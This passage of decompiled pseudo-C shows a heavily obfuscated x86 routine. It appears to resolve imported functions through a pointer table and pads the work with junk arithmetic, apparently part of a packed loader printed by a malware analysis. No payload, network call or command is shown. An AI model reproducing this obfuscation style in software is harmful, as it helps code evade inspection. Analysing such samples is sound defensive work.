				signed int _t535;
				signed int _t538;
				signed int _t540;
				signed int _t543;
				void* _t545;
				void* _t547;
				signed int _t551;
				signed int _t553;
				void* _t554;
				signed int _t559;
				signed int _t561;
				void* _t564;
				signed int _t566;
				signed int _t568;
				signed int _t574;
				void* _t577;
				signed int _t580;
				signed int _t583;
				signed int _t585;
				signed int _t588;
				signed int _t590;
				signed int _t592;
				signed int _t594;
				signed int _t597;
				signed int _t601;
				signed int _t604;
				signed int _t607;
				signed int _t610;
				signed int _t613;
				signed int _t616;
				signed int _t619;
				signed int _t622;
				void* _t625;
				signed int _t629;
				signed int _t631;
				signed int _t634;
				signed int _t637;
				signed int _t642;
				signed int _t645;
				signed int _t648;
				void* _t651;
				signed int _t653;
				void* _t654;
				signed int _t656;
				signed int _t664;
				signed int _t665;
				signed int _t668;
				void* _t669;
				signed int _t671;
				signed int _t672;
				signed int _t675;
				signed int _t678;
				signed int _t681;
				signed int _t692;
				signed int _t695;
				signed int _t696;
				signed int _t704;
				void* _t705;
				signed int _t707;
				signed int* _t717;
				signed int* _t718;
				signed int* _t719;
				signed int* _t720;
				signed int* _t721;
				signed int* _t722;
				signed int* _t723;
				signed int* _t724;

				_t640 = __edi;
				_t597 = __edx;
				_t532 = __ebx;
				_push(__edi);
				 *_t717 =  *_t717 & 0x00000000;
				 *_t717 =  *_t717 + __ebx + 0x41c13d;
				_t406 =  *((intOrPtr*)(__ebx + 0x41f060))();
				 *(_t704 - 0x14) = __esi;
				 *(__ebx + 0x41c112) = 0 ^ _t406;
				_t664 =  *(_t704 - 0x14);
				while(1) {
					L15:
					_t721[1] =  *_t675;
					_t540 = _t538;
					 *_t721 =  *_t721 ^ _t675;
					 *_t721 =  *_t721 ^ _t540 + 0x0041d099;
					_t453 =  *((intOrPtr*)(_t540 + 0x41f060))(_t704);
					 *_t721 = _t574;
					 *(_t540 + 0x41c24c) = 0 ^ _t453;
					_t577 = 0;
					 *_t276 = _t675;
					 *_t721 =  *_t721 & 0x00000000;
					 *_t721 =  *_t721 + _t540 + 0x41cdd2;
					 *_t721 =  *_t721 & 0x00000000;
					 *_t721 =  *_t721 | _t540 + 0x0041c846;
					_t456 =  *((intOrPtr*)(_t540 + 0x41f068))(_t704, _t645);
					 *(_t704 - 0x10) = _t616;
					 *(_t540 + 0x41c9fe) = 0 ^ _t456;
					_t619 =  *(_t704 - 0x10);
					 *(_t704 - 0xc) =  *(_t704 - 0xc) & 0x0000ffff;
					 *_t721 =  *_t721 ^ _t619;
					 *_t721 =  *_t721 | _t540 + 0x0041c9e4;
					 *_t721 =  *_t721 & 0x00000000;
					 *_t721 =  *_t721 ^ _t540 + 0x0041c746;
					_t459 =  *((intOrPtr*)(_t540 + 0x41f068))(_t619, _t619);
					 *(_t704 - 0x14) = _t619;
					 *(_t540 + 0x41c559) =  *(_t540 + 0x41c559) & 0x00000000;
					 *(_t540 + 0x41c559) =  *(_t540 + 0x41c559) ^ (_t619 ^  *(_t704 - 0x14) | _t459);
					_t622 =  *(_t704 - 0x14);
					while(1) {
						 *(_t704 - 0x10) = _t540;
						_t543 =  *(_t704 - 0x10);
						_t299 = _t543 + 0x41cb0b; // 0x41cb0b
						 *(_t704 - 0x14) = 0;
						 *_t721 =  *_t721 | _t299;
						_t463 =  *((intOrPtr*)(_t543 + 0x41f060))( *(_t704 - 0x14));
						 *_t721 = _t463;
						_t304 = _t543 + 0x41cda5; // 0x41cda5
						 *_t721 = _t304;
						_t465 =  *((intOrPtr*)(_t543 + 0x41f060))( *(_t704 - 0x14),  *(_t704 - 0x10));
						_t722 = _t721 - 0xfffffffc;
						 *_t722 =  *_t722 ^ _t704;
						_t705 = _t465;
						_t466 = _t705 +  *_t721;
						_t707 = 0;
						 *(_t707 - 0x14) = _t675;
						_t580 =  *(_t543 + 0x41c96a);
						_t678 =  *(_t707 - 0x14);
						if(_t580 > _t466) {
							_t310 = _t543 + 0x41cb0b; // 0x41cb0b
							 *_t722 =  *_t722 & 0x00000000;
							 *_t722 =  *_t722 | _t310;
							_t311 = _t543 + 0x41cda5; // 0x41cda5
							 *(_t707 - 0x14) =  *(_t707 - 0x14) & 0x00000000;
							 *_t722 =  *_t722 | _t311;
							_t466 =  *((intOrPtr*)(_t543 + 0x41f064))( *(_t707 - 0x14), _t707);
						}
						 *_t316 = _t466;
						 *_t318 =  *(_t707 - 0x10);
						_t722[1] =  *(_t707 - 0xc);
						_t545 = _t543;
						_t321 = _t545 + 0x41cee2; // 0x41cee2
						 *_t722 = _t321;
						_t323 = _t545 + 0x41d33a; // 0x41d33a
						 *(_t707 - 0x14) = 0;
						 *_t722 =  *_t722 | _t323;
						_t469 =  *((intOrPtr*)(_t545 + 0x41f068))( *(_t707 - 0x14),  *(_t707 - 0x10), _t580);
						 *(_t545 + 0x41d1da) =  *(_t545 + 0x41d1da) & 0x00000000;
						 *(_t545 + 0x41d1da) =  *(_t545 + 0x41d1da) | _t678 -  *_t722 | _t469;
						_t681 = _t678;
						 *(_t707 - 0x10) = _t645;
						_t648 =  *(_t707 - 0x10);
						 *_t722 =  *_t722 - _t622;
						 *_t722 =  *_t722 ^ (_t469 & 0x00000000 | _t645 ^  *(_t707 - 0x10) |  *(_t707 - 4));
						_t335 = _t545 + 0x41d2b3; // 0x41d2b3
						 *_t722 =  *_t722 - _t622;
						 *_t722 = _t335;
						_t336 = _t545 + 0x41cb87; // 0x41cb87
						 *(_t707 - 0x10) =  *(_t707 - 0x10) & 0x00000000;
						 *_t722 =  *_t722 + _t336;
						_t474 =  *((intOrPtr*)(_t545 + 0x41f068))( *(_t707 - 0x10), _t622, _t622);
						 *(_t707 - 0x10) = _t580;
						 *(_t545 + 0x41cf9a) =  *(_t545 + 0x41cf9a) & 0x00000000;
						 *(_t545 + 0x41cf9a) =  *(_t545 + 0x41cf9a) | _t580 ^  *(_t707 - 0x10) | _t474;
						_t583 =  *(_t707 - 0x10);
						_t723 =  &(_t722[1]);
						 *(_t707 - 0x10) = 0;
						 *_t723 =  *_t723 ^  *_t722;
						_t350 = _t545 + 0x41c922; // 0x41c922
						 *(_t707 - 0x10) = 0;
						 *_t723 =  *_t723 | _t350;
						_t353 = _t545 + 0x41c97d; // 0x41c97d
						 *_t723 =  *_t723 & 0x00000000;
						 *_t723 =  *_t723 + _t353;
						_t479 =  *((intOrPtr*)(_t545 + 0x41f068))(_t583,  *(_t707 - 0x10),  *(_t707 - 0x10));
						 *(_t545 + 0x41cae1) =  *(_t545 + 0x41cae1) & 0x00000000;
						 *(_t545 + 0x41cae1) =  *(_t545 + 0x41cae1) | _t707 & 0x00000000 | _t479;
						_t704 = _t707;
						_t480 =  *((intOrPtr*)(_t545 + 0x41f050))();
						 *(_t704 - 0x14) = 0;
						 *_t723 =  *_t723 + _t480;
						_t362 = _t545 + 0x41c197; // 0x41c197
						 *(_t704 - 0x14) = 0;
						 *_t723 =  *_t723 | _t362;
						_t482 =  *((intOrPtr*)(_t545 + 0x41f060))( *(_t704 - 0x14),  *(_t704 - 0x14));
						 *(_t704 - 0x14) = 0;
						 *_t723 =  *_t723 | _t482;
						_t368 = _t545 + 0x41c46f; // 0x41c46f
						 *(_t704 - 0x14) = 0;
						 *_t723 =  *_t723 ^ _t368;
						_t484 =  *((intOrPtr*)(_t545 + 0x41f060))( *(_t704 - 0x14),  *(_t704 - 0x14));
						_pop( *_t372);
						_t585 = (_t583 & 0x00000000) +  *(_t704 - 0x10);
						 *_t374 = _t484;
						 *(_t704 - 0x14) =  *(_t704 - 0x14) + _t585;
						_push( *(_t704 - 0x14));
						_pop(_t485);
						_t547 = _t545;
						 *(_t704 - 0x10) = _t648;
						_t574 = _t585 & 0x00000000 ^ _t648 -  *(_t704 - 0x10) ^  *(_t547 + 0x41c9d0);
						_t645 =  *(_t704 - 0x10);
						if(_t574 > _t485) {
							_t382 = _t547 + 0x41c197; // 0x41c197
							 *_t723 =  *_t723 & 0x00000000;
							 *_t723 =  *_t723 + _t382;
							_t383 = _t547 + 0x41c46f; // 0x41c46f
							 *(_t704 - 0x10) = 0;
							 *_t723 =  *_t723 ^ _t383;
							_t485 =  *((intOrPtr*)(_t547 + 0x41f064))( *(_t704 - 0x10), _t681);
							 *(_t547 + 0x41cfe1) =  *(_t547 + 0x41cfe1) & 0x00000000;
							 *(_t547 + 0x41cfe1) =  *(_t547 + 0x41cfe1) | _t704 ^  *_t723 ^ _t485;
							_t704 = _t704;
						}
						_t721 =  &(_t723[1]);
						 *_t721 =  *_t721 ^ _t704;
						 *_t721 = _t681;
						 *_t721 = _t485 & 0x00000000 |  *_t723;
						_t490 = 0;
						 *_t721 = _t622;
						 *((intOrPtr*)( *((intOrPtr*)(_t704 - 8)))) = _t490;
						_t625 = 0;
						 *_t392 = _t704;
						 *_t721 = 4;
						_t491 = _t547;
						 *_t394 = 0 ^  *(_t704 - 0x14);
						 *(_t704 - 0x14) =  *(_t704 - 0x14) + _t491;
						_t675 =  *(_t704 - 0x14);
						_t616 = _t625;
						 *_t399 =  *((intOrPtr*)(_t704 - 8));
						 *(_t704 - 0x10) =  *(_t704 - 0x10) + _t491;
						 *_t403 =  *(_t704 - 0x10);
						_t538 = _t547;
						if( *_t675 != 0) {
							goto L9;
						}
						L21:
						_t640 = _t645 + 0x14;
						_t664 = _t675;
						if( *_t640 != 0 ||  *(_t640 + 0x10) != 0) {
							if( *_t640 != 0) {
								 *_t23 =  *_t640;
								_t665 =  *(_t704 - 0x14);
								_t25 = _t532 + 0x41d32a; // 0x41d32a
								 *_t717 =  *_t717 & 0x00000000;
								 *_t717 =  *_t717 ^ _t25;
								_t26 = _t532 + 0x41cdb4; // 0x41cdb4
								 *_t717 =  *_t717 ^ _t704;
								 *_t717 = _t26;
								_t409 =  *((intOrPtr*)(_t532 + 0x41f068))(_t704, _t704);
								 *(_t532 + 0x41cada) =  *(_t532 + 0x41cada) & 0x00000000;
								 *(_t532 + 0x41cada) =  *(_t532 + 0x41cada) | _t597 & 0x00000000 ^ _t409;
								_t597 = _t597;
							} else {
								_t6 = _t538 + 0x41d076; // 0x41d076
								 *(_t704 - 0x10) = 0;
								 *_t721 =  *_t721 | _t6;
								_t520 =  *((intOrPtr*)(_t538 + 0x41f060))( *(_t704 - 0x10));
								 *(_t704 - 0x14) = _t664;
								 *(_t538 + 0x41d0ee) = 0 ^ _t520;
								_push( *(_t640 + 0x10));
								_pop( *_t14);
								_push( *(_t704 - 0x10));
								_pop(_t665);
								_t16 = _t538 + 0x41c2b0; // 0x41c2b0
								 *_t721 = _t16;
								_t522 =  *((intOrPtr*)(_t538 + 0x41f060))( *(_t704 - 0x10));
								 *(_t538 + 0x41c1b3) =  *(_t538 + 0x41c1b3) & 0x00000000;
								 *(_t538 + 0x41c1b3) =  *(_t538 + 0x41c1b3) | _t704 ^  *_t721 | _t522;
								_t704 = _t704;
							}
							_t601 =  *_t717;
							 *_t717 =  *(_t640 + 0x10);
							_t34 = _t532 + 0x41c661; // 0x41c661
							 *_t717 =  *_t717 ^ _t704;
							 *_t717 =  *_t717 + _t34;
							_t411 =  *((intOrPtr*)(_t532 + 0x41f060))(_t597);
							 *_t717 = _t665;
							 *((intOrPtr*)(_t532 + 0x41d31e)) = _t411;
							_t668 = 0;
							 *_t37 = _t704;
							_t38 = _t532 + 0x41c5b3; // 0x41c5b3
							 *_t717 = _t38;
							_t413 =  *((intOrPtr*)(_t532 + 0x41f060))( *(_t704 - 0x10));
							 *(_t704 - 0x14) =  *(_t704 - 0x14) & 0x00000000;
							 *_t717 =  *_t717 ^ _t413;
							_t44 = _t532 + 0x41c868; // 0x41c868
							 *_t717 =  *_t717 & 0x00000000;
							 *_t717 =  *_t717 ^ _t44;
							_t415 =  *((intOrPtr*)(_t532 + 0x41f060))( *(_t704 - 0x14));
							 *_t46 = _t640;
							_t551 = 0 ^  *(_t704 - 0x10);
							 *_t48 = _t415;
							 *(_t704 - 0x14) =  *(_t704 - 0x14) + _t551;
							_push( *(_t704 - 0x14));
							_pop(_t416);
							_t642 = _t640;
							 *(_t704 - 0x14) = _t416;
							_t553 = _t551 & 0x00000000 ^ _t416 & 0x00000000 ^  *(_t532 + 0x41c633);
							_t419 =  *(_t704 - 0x14);
							if(_t553 > _t419) {
								_t55 = _t532 + 0x41c5b3; // 0x41c5b3
								 *_t717 = _t55;
								_t57 = _t532 + 0x41c868; // 0x41c868
								 *(_t704 - 0x10) =  *(_t704 - 0x10) & 0x00000000;
								 *_t717 =  *_t717 | _t57;
								_t419 =  *((intOrPtr*)(_t532 + 0x41f064))( *(_t704 - 0x10),  *(_t704 - 0x14));
							}
							 *(_t704 - 0x10) = _t601;
							 *(_t532 + 0x41c2a0) =  *(_t532 + 0x41c2a0) & 0x00000000;
							 *(_t532 + 0x41c2a0) =  *(_t532 + 0x41c2a0) | _t601 & 0x00000000 ^ _t419;
							_t604 =  *(_t704 - 0x10);
							 *(_t704 - 0x10) = _t532;
							_t535 =  *(_t704 - 0x10);
							 *_t717 =  *_t717 & 0x00000000;
							 *_t717 =  *_t717 | _t419 & 0x00000000 | _t532 & 0x00000000 ^  *(_t704 + 8);
							_t71 = _t535 + 0x41c812; // 0x41c812
							 *_t717 =  *_t717 & 0x00000000;
							 *_t717 =  *_t717 + _t71;
							_t72 = _t535 + 0x41ca65; // 0x41ca65
							 *_t717 =  *_t717 & 0x00000000;
							 *_t717 =  *_t717 | _t72;
							_t424 =  *((intOrPtr*)(_t535 + 0x41f068))(_t553, _t668);
							 *(_t704 - 0x14) = _t642;
							 *(_t535 + 0x41d25f) =  *(_t535 + 0x41d25f) & 0x00000000;
							 *(_t535 + 0x41d25f) =  *(_t535 + 0x41d25f) ^ (_t642 -  *(_t704 - 0x14) | _t424);
							_t645 =  *(_t704 - 0x14);
							 *_t81 = _t553;
							 *_t717 =  *_t717 ^ _t668;
							_push( *((intOrPtr*)(_t704 - 8)));
							_pop(_t669);
							 *((intOrPtr*)(_t704 - 8)) = _t669 +  *(_t704 - 0x10);
							_t671 = 0;
							_t85 = _t535 + 0x41d15d; // 0x41d15d
							 *_t717 =  *_t717 - _t553;
							 *_t717 = _t85;
							_t86 = _t535 + 0x41c260; // 0x41c260
							 *(_t704 - 0x10) = 0;
							 *_t717 =  *_t717 | _t86;
							_push( *((intOrPtr*)(_t535 + 0x41f068))( *(_t704 - 0x10), _t553));
							_pop( *_t90);
							_push( *(_t704 - 0x10));
							_pop( *_t92);
							_push( *((intOrPtr*)(_t645 + 0xc)));
							_pop( *_t94);
							_push( *(_t704 - 0x14));
							_pop(_t554);
							 *_t717 =  *_t717 & 0x00000000;
							 *_t717 =  *_t717 + _t554;
							_t96 = _t535 + 0x41ca52; // 0x41ca52
							 *_t717 =  *_t717 - _t535;
							 *_t717 =  *_t717 + _t96;
							_t430 =  *((intOrPtr*)(_t535 + 0x41f060))(_t535, _t535);
							 *(_t704 - 0x14) = _t604;
							 *(_t535 + 0x41cd09) =  *(_t535 + 0x41cd09) & 0x00000000;
							 *(_t535 + 0x41cd09) =  *(_t535 + 0x41cd09) | _t604 -  *(_t704 - 0x14) ^ _t430;
							_t607 =  *(_t704 - 0x14);
							_t718 = _t717 - 0xfffffffc;
							_push(0);
							 *_t718 =  *_t718 | _t430;
							_push( *_t717);
							_pop(_t431);
							 *_t718 = _t431 +  *(_t704 + 8);
							_t107 = _t535 + 0x41c07f; // 0x41c07f
							 *_t718 = _t107;
							_t435 =  *((intOrPtr*)(_t535 + 0x41f060))( *(_t704 - 0x10),  *(_t704 - 0x14));
							 *_t718 =  *_t718 - _t607;
							 *_t718 =  *_t718 | _t435;
							_t110 = _t535 + 0x41d248; // 0x41d248
							 *(_t704 - 0x14) =  *(_t704 - 0x14) & 0x00000000;
							 *_t718 =  *_t718 | _t110;
							_t437 =  *((intOrPtr*)(_t535 + 0x41f060))( *(_t704 - 0x14), _t607);
							_t559 =  *_t718;
							_t719 =  &(_t718[1]);
							 *(_t704 - 0x10) = _t535;
							_push(_t559 + _t437);
							_t538 =  *(_t704 - 0x10);
							_pop(_t438);
							_t561 = _t559 & 0x00000000 ^ _t607 -  *_t719 ^  *(_t538 + 0x41d0e6);
							_t610 = _t607;
							if(_t561 > _t438) {
								_t118 = _t538 + 0x41c07f; // 0x41c07f
								 *(_t704 - 0x14) =  *(_t704 - 0x14) & 0x00000000;
								 *_t719 =  *_t719 + _t118;
								_t122 = _t538 + 0x41d248; // 0x41d248
								 *(_t704 - 0x14) = 0;
								 *_t719 =  *_t719 | _t122;
								_t438 =  *((intOrPtr*)(_t538 + 0x41f064))( *(_t704 - 0x14),  *(_t704 - 0x14));
								 *(_t704 - 0x10) = _t671;
								 *((intOrPtr*)(_t538 + 0x41cd68)) = _t438;
								_t671 =  *(_t704 - 0x10);
							}
							_pop( *_t129);
							 *_t719 = _t561 & 0x00000000 ^  *(_t704 - 0x10);
							_t564 = _t671;
							_t672 = _t564 +  *(_t704 + 8);
							_t566 = 0;
							 *_t719 =  *_t719 & 0x00000000;
							 *_t719 =  *_t719 | _t566;
							_t132 = _t538 + 0x41d135; // 0x41d135
							 *_t719 = _t132;
							_t134 = _t538 + 0x41c60e; // 0x41c60e
							 *_t719 =  *_t719 & 0x00000000;
							 *_t719 =  *_t719 | _t134;
							_t441 =  *((intOrPtr*)(_t538 + 0x41f068))(_t566,  *(_t704 - 0x10), _t438);
							 *(_t704 - 0x14) = _t610;
							 *((intOrPtr*)(_t538 + 0x41c3e6)) = _t441;
							_t613 =  *(_t704 - 0x14);
							_t568 =  *_t719;
							_t720 = _t719 - 0xfffffffc;
							 *_t720 =  *_t720 - _t613;
							 *_t720 =  *_t720 ^ _t568;
							_t139 = _t538 + 0x41c220; // 0x41c220
							 *(_t704 - 0x14) = 0;
							 *_t720 =  *_t720 + _t139;
							_t443 =  *((intOrPtr*)(_t538 + 0x41f060))( *(_t704 - 0x14), _t613);
							 *(_t704 - 0x10) = _t568;
							 *(_t538 + 0x41cf1d) =  *(_t538 + 0x41cf1d) & 0x00000000;
							 *(_t538 + 0x41cf1d) =  *(_t538 + 0x41cf1d) ^ (_t568 ^  *(_t704 - 0x10) | _t443);
							_t444 =  *((intOrPtr*)(_t538 + 0x41f054))();
							 *(_t704 - 0x14) = 0;
							 *_t720 =  *_t720 + _t444;
							_t153 = _t538 + 0x41c49b; // 0x41c49b
							 *(_t704 - 0x10) = 0;
							 *_t720 =  *_t720 + _t153;
							_t446 =  *((intOrPtr*)(_t538 + 0x41f060))( *(_t704 - 0x10),  *(_t704 - 0x14));
							 *(_t704 - 0x14) = _t672;
							 *(_t538 + 0x41c8aa) =  *(_t538 + 0x41c8aa) & 0x00000000;
							 *(_t538 + 0x41c8aa) =  *(_t538 + 0x41c8aa) | _t672 & 0x00000000 ^ _t446;
							_t675 =  *(_t704 - 0x14);
							_t721 = _t720 - 0xfffffffc;
							 *(_t704 - 0x10) = _t613;
							 *(_t704 - 4) =  *(_t704 - 4) & 0x00000000;
							 *(_t704 - 4) =  *(_t704 - 4) ^ _t613 -  *(_t704 - 0x10) ^ _t446 & 0x00000000 ^  *_t720;
							_t616 =  *(_t704 - 0x10);
							_t170 = _t538 + 0x41c279; // 0x41c279
							 *_t721 = _t170;
							_t172 = _t538 + 0x41d1ea; // 0x41d1ea
							 *_t721 =  *_t721 - _t675;
							 *_t721 = _t172;
							_t451 =  *((intOrPtr*)(_t538 + 0x41f068))(_t675,  *(_t704 - 0x14));
							 *(_t704 - 0x14) =  *(_t704 - 0x10);
							 *(_t538 + 0x41cbc5) = 0 ^ _t451;
							_t574 =  *(_t704 - 0x14);
							goto L9;
						}
						 *_t721 =  *_t721 ^ _t491;
						_t523 = _t491;
						return _t523;
						L9:
						if(( *_t675 & 0x80000000) != 0) {
							goto L15;
						} else {
							_t179 = _t538 + 0x41c8e1; // 0x41c8e1
							 *_t721 =  *_t721 - _t616;
							 *_t721 =  *_t721 | _t179;
							_t493 =  *((intOrPtr*)(_t538 + 0x41f060))(_t616);
							 *(_t704 - 0x10) = 0;
							 *_t721 =  *_t721 | _t493;
							_t183 = _t538 + 0x41c6e2; // 0x41c6e2
							 *_t721 =  *_t721 - _t538;
							 *_t721 =  *_t721 | _t183;
							_t495 =  *((intOrPtr*)(_t538 + 0x41f060))(_t538,  *(_t704 - 0x10));
							_t588 = (_t574 & 0x00000000) +  *_t721;
							_t724 = _t721 - 0xfffffffc;
							 *_t724 =  *_t724 + _t645;
							_t651 = _t495;
							_t496 = _t651 + _t588;
							_t653 = 0;
							 *(_t704 - 0x10) = _t616;
							_t590 = _t588 & 0x00000000 ^ _t616 ^  *(_t704 - 0x10) ^  *(_t538 + 0x41c521);
							_t629 =  *(_t704 - 0x10);
							if(_t590 > _t496) {
								_t189 = _t538 + 0x41c8e1; // 0x41c8e1
								 *_t724 =  *_t724 & 0x00000000;
								 *_t724 =  *_t724 | _t189;
								_t190 = _t538 + 0x41c6e2; // 0x41c6e2
								 *_t724 = _t190;
								_t496 =  *((intOrPtr*)(_t538 + 0x41f064))( *(_t704 - 0x10), _t675);
							}
							 *(_t538 + 0x41c56c) =  *(_t538 + 0x41c56c) & 0x00000000;
							 *(_t538 + 0x41c56c) =  *(_t538 + 0x41c56c) ^ (_t704 & 0x00000000 | _t496);
							_t704 = _t704;
							 *_t724 =  *_t724 & 0x00000000;
							 *_t724 =  *_t724 + _t675;
							_t197 = _t538 + 0x41c266; // 0x41c266
							 *_t724 = _t197;
							_push( *((intOrPtr*)(_t538 + 0x41f060))( *(_t704 - 0x10), _t496));
							_pop( *_t200);
							_push( *(_t704 - 0x10));
							_pop( *_t202);
							_t692 =  *_t675;
							_t203 = _t538 + 0x41ce1f; // 0x41ce1f
							 *_t724 =  *_t724 & 0x00000000;
							 *_t724 =  *_t724 ^ _t203;
							_t500 =  *((intOrPtr*)(_t538 + 0x41f060))(_t692);
							 *(_t704 - 0x10) = 0;
							 *_t724 =  *_t724 ^ _t500;
							_t207 = _t538 + 0x41c0ad; // 0x41c0ad
							 *(_t704 - 0x14) =  *(_t704 - 0x14) & 0x00000000;
							 *_t724 =  *_t724 | _t207;
							_t502 =  *((intOrPtr*)(_t538 + 0x41f060))( *(_t704 - 0x14),  *(_t704 - 0x10));
							_pop( *_t212);
							_t592 = _t590 & 0x00000000 |  *(_t704 - 0x14);
							 *_t214 = _t502;
							 *(_t704 - 0x10) =  *(_t704 - 0x10) + _t592;
							_push( *(_t704 - 0x10));
							_pop(_t503);
							_t631 = _t629;
							 *(_t704 - 0x10) = _t692;
							_t594 = _t592 & 0x00000000 | _t692 & 0x00000000 ^  *(_t538 + 0x41c765);
							_t695 =  *(_t704 - 0x10);
							if(_t594 > _t503) {
								_t221 = _t538 + 0x41ce1f; // 0x41ce1f
								 *_t724 = _t221;
								_t223 = _t538 + 0x41c0ad; // 0x41c0ad
								 *_t724 =  *_t724 & 0x00000000;
								 *_t724 =  *_t724 | _t223;
								_t503 =  *((intOrPtr*)(_t538 + 0x41f064))(_t704,  *(_t704 - 0x14));
							}
							 *_t724 = _t631;
							 *(_t538 + 0x41c497) = 0 ^ _t503;
							_t634 = 0;
							 *_t724 = _t653;
							_t654 = _t695;
							_t696 = _t654 +  *(_t704 + 8);
							_t656 = 0;
							_t227 = _t538 + 0x41d159; // 0x41d159
							 *(_t704 - 0x14) =  *(_t704 - 0x14) & 0x00000000;
							 *_t724 =  *_t724 ^ _t227;
							_t231 = _t538 + 0x41d213; // 0x41d213
							 *(_t704 - 0x10) = 0;
							 *_t724 =  *_t724 + _t231;
							_t506 =  *((intOrPtr*)(_t538 + 0x41f068))( *(_t704 - 0x10),  *(_t704 - 0x14));
							 *(_t704 - 0x14) = _t696;
							 *(_t538 + 0x41d182) =  *(_t538 + 0x41d182) & 0x00000000;
							 *(_t538 + 0x41d182) =  *(_t538 + 0x41d182) ^ (_t696 ^  *(_t704 - 0x14) | _t506);
							_t577 = _t594;
							_t242 = _t538 + 0x41c85c; // 0x41c85c
							 *_t724 =  *_t724 & 0x00000000;
							 *_t724 =  *_t724 | _t242;
							_t243 = _t538 + 0x41c10e; // 0x41c10e
							 *_t724 = _t243;
							_t509 =  *((intOrPtr*)(_t538 + 0x41f068))( *(_t704 - 0x14), _t634);
							 *(_t538 + 0x41ce00) =  *(_t538 + 0x41ce00) & 0x00000000;
							 *(_t538 + 0x41ce00) =  *(_t538 + 0x41ce00) | _t634 & 0x00000000 | _t509;
							_t637 = _t634;
							_push( *(_t704 - 0x14) + 2);
							_pop( *_t250);
							_push( *(_t704 - 0x14));
							_pop( *_t252);
							_t253 = _t538 + 0x41c9a3; // 0x41c9a3
							 *(_t704 - 0x14) =  *(_t704 - 0x14) & 0x00000000;
							 *_t724 =  *_t724 ^ _t253;
							_t257 = _t538 + 0x41d1fa; // 0x41d1fa
							 *_t724 = _t257;
							_t512 =  *((intOrPtr*)(_t538 + 0x41f068))( *(_t704 - 0x14),  *(_t704 - 0x14));
							 *_t724 = _t637;
							 *((intOrPtr*)(_t538 + 0x41d0fe)) = _t512;
							_t622 = 0;
							_t675 = 0 ^  *_t724;
							_t721 =  &(_t724[1]);
							_t261 = _t538 + 0x41d0af; // 0x41d0af
							 *_t721 =  *_t721 & 0x00000000;
							 *_t721 =  *_t721 | _t261;
							_t262 = _t538 + 0x41ceae; // 0x41ceae
							 *_t721 = _t262;
							_t459 =  *((intOrPtr*)(_t538 + 0x41f068))( *(_t704 - 0x10), _t577);
							 *(_t704 - 0x10) = _t656;
							 *(_t538 + 0x41c8cd) =  *(_t538 + 0x41c8cd) & 0x00000000;
							 *(_t538 + 0x41c8cd) =  *(_t538 + 0x41c8cd) ^ _t656 -  *(_t704 - 0x10) ^ _t459;
							_t645 =  *(_t704 - 0x10);
						}
						 *(_t704 - 0x10) = _t540;
						_t543 =  *(_t704 - 0x10);
						_t299 = _t543 + 0x41cb0b; // 0x41cb0b
						 *(_t704 - 0x14) = 0;
						 *_t721 =  *_t721 | _t299;
						_t463 =  *((intOrPtr*)(_t543 + 0x41f060))( *(_t704 - 0x14));
						 *_t721 = _t463;
						_t304 = _t543 + 0x41cda5; // 0x41cda5
						 *_t721 = _t304;
						_t465 =  *((intOrPtr*)(_t543 + 0x41f060))( *(_t704 - 0x14),  *(_t704 - 0x10));
						_t722 = _t721 - 0xfffffffc;
						 *_t722 =  *_t722 ^ _t704;
						_t705 = _t465;
						_t466 = _t705 +  *_t721;
						_t707 = 0;
						 *(_t707 - 0x14) = _t675;
						_t580 =  *(_t543 + 0x41c96a);
						_t678 =  *(_t707 - 0x14);
						if(_t580 > _t466) {
							_t310 = _t543 + 0x41cb0b; // 0x41cb0b
							 *_t722 =  *_t722 & 0x00000000;
							 *_t722 =  *_t722 | _t310;
							_t311 = _t543 + 0x41cda5; // 0x41cda5
							 *(_t707 - 0x14) =  *(_t707 - 0x14) & 0x00000000;
							 *_t722 =  *_t722 | _t311;
							_t466 =  *((intOrPtr*)(_t543 + 0x41f064))( *(_t707 - 0x14), _t707);
						}
						 *_t316 = _t466;
						 *_t318 =  *(_t707 - 0x10);
						_t722[1] =  *(_t707 - 0xc);
						_t545 = _t543;
						_t321 = _t545 + 0x41cee2; // 0x41cee2
						 *_t722 = _t321;
						_t323 = _t545 + 0x41d33a; // 0x41d33a
						 *(_t707 - 0x14) = 0;
						 *_t722 =  *_t722 | _t323;
						_t469 =  *((intOrPtr*)(_t545 + 0x41f068))( *(_t707 - 0x14),  *(_t707 - 0x10), _t580);
						 *(_t545 + 0x41d1da) =  *(_t545 + 0x41d1da) & 0x00000000;
						 *(_t545 + 0x41d1da) =  *(_t545 + 0x41d1da) | _t678 -  *_t722 | _t469;
						_t681 = _t678;
						 *(_t707 - 0x10) = _t645;
						_t648 =  *(_t707 - 0x10);
						 *_t722 =  *_t722 - _t622;
						 *_t722 =  *_t722 ^ (_t469 & 0x00000000 | _t645 ^  *(_t707 - 0x10) |  *(_t707 - 4));
						_t335 = _t545 + 0x41d2b3; // 0x41d2b3
						 *_t722 =  *_t722 - _t622;
						 *_t722 = _t335;
						_t336 = _t545 + 0x41cb87; // 0x41cb87
						 *(_t707 - 0x10) =  *(_t707 - 0x10) & 0x00000000;
						 *_t722 =  *_t722 + _t336;
						_t474 =  *((intOrPtr*)(_t545 + 0x41f068))( *(_t707 - 0x10), _t622, _t622);
						 *(_t707 - 0x10) = _t580;
						 *(_t545 + 0x41cf9a) =  *(_t545 + 0x41cf9a) & 0x00000000;
						 *(_t545 + 0x41cf9a) =  *(_t545 + 0x41cf9a) | _t580 ^  *(_t707 - 0x10) | _t474;
						_t583 =  *(_t707 - 0x10);
						_t723 =  &(_t722[1]);
						 *(_t707 - 0x10) = 0;
						 *_t723 =  *_t723 ^  *_t722;
						_t350 = _t545 + 0x41c922; // 0x41c922
						 *(_t707 - 0x10) = 0;
						 *_t723 =  *_t723 | _t350;
						_t353 = _t545 + 0x41c97d; // 0x41c97d
						 *_t723 =  *_t723 & 0x00000000;
						 *_t723 =  *_t723 + _t353;
						_t479 =  *((intOrPtr*)(_t545 + 0x41f068))(_t583,  *(_t707 - 0x10),  *(_t707 - 0x10));
						 *(_t545 + 0x41cae1) =  *(_t545 + 0x41cae1) & 0x00000000;
						 *(_t545 + 0x41cae1) =  *(_t545 + 0x41cae1) | _t707 & 0x00000000 | _t479;
						_t704 = _t707;
						_t480 =  *((intOrPtr*)(_t545 + 0x41f050))();
						 *(_t704 - 0x14) = 0;
						 *_t723 =  *_t723 + _t480;
						_t362 = _t545 + 0x41c197; // 0x41c197
						 *(_t704 - 0x14) = 0;
						 *_t723 =  *_t723 | _t362;
						_t482 =  *((intOrPtr*)(_t545 + 0x41f060))( *(_t704 - 0x14),  *(_t704 - 0x14));
						 *(_t704 - 0x14) = 0;
						 *_t723 =  *_t723 | _t482;
